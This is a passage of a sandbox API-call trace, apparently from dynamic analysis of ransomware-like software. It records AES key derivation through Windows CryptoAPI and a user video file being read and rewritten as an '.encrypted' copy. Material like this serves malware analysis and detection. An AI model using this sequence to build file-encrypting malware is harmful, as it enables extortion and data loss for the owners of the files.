wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.020] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.020] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0029.020] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.020] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.020] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.020] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.020] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.020] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.020] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.020] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.020] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.021] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.021] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.021] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.021] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.021] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.021] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.021] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0029.021] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.021] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.021] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.021] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.021] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.021] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0029.021] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.021] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0029.021] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.021] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.021] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0029.021] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.021] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.021] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.022] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.022] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.022] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.022] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.022] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.022] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.022] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.022] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.022] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.022] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0029.022] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.022] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.022] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.022] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.022] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.022] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.022] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.022] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.022] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.022] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.022] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.022] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.022] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.022] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.022] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.022] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.022] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.022] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.022] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.022] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0029.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.023] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0029.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.023] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.023] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.023] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.023] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b240, dwDataLen=0x20, dwFlags=0x1) returned 1 [0029.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.023] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.023] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.023] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.023] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.023] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.023] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0029.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.023] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.023] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0029.024] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.024] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0029.024] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.025] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.025] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.025] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.025] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.025] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\bDzhQHicch.swf" (normalized: "c:\\users\\5jghkoaofdp\\videos\\bdzhqhicch.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0029.025] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.025] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0029.025] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.026] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.026] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.026] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\" (normalized: "c:\\users\\5jghkoaofdp\\videos")) returned 0x11 [0029.026] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\bDzhQHicch.encrypted.swf" (normalized: "c:\\users\\5jghkoaofdp\\videos\\bdzhqhicch.encrypted.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0029.026] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.026] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.026] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.027] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.028] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0029.028] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0xdeb3, lpOverlapped=0x0) returned 1 [0029.029] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0029.031] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.031] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.032] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.032] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0029.032] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.032] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.032] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0029.033] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.033] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0029.033] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.033] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.033] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.033] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0029.034] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.034] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064b00, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064b00*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0029.034] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.034] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.034] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.034] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.034] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.034] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.034] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.034] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.034] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.034] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.034] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.034] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.034] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.034] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.034] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.034] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.034] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.034] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.034] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.034] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.034] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.034] 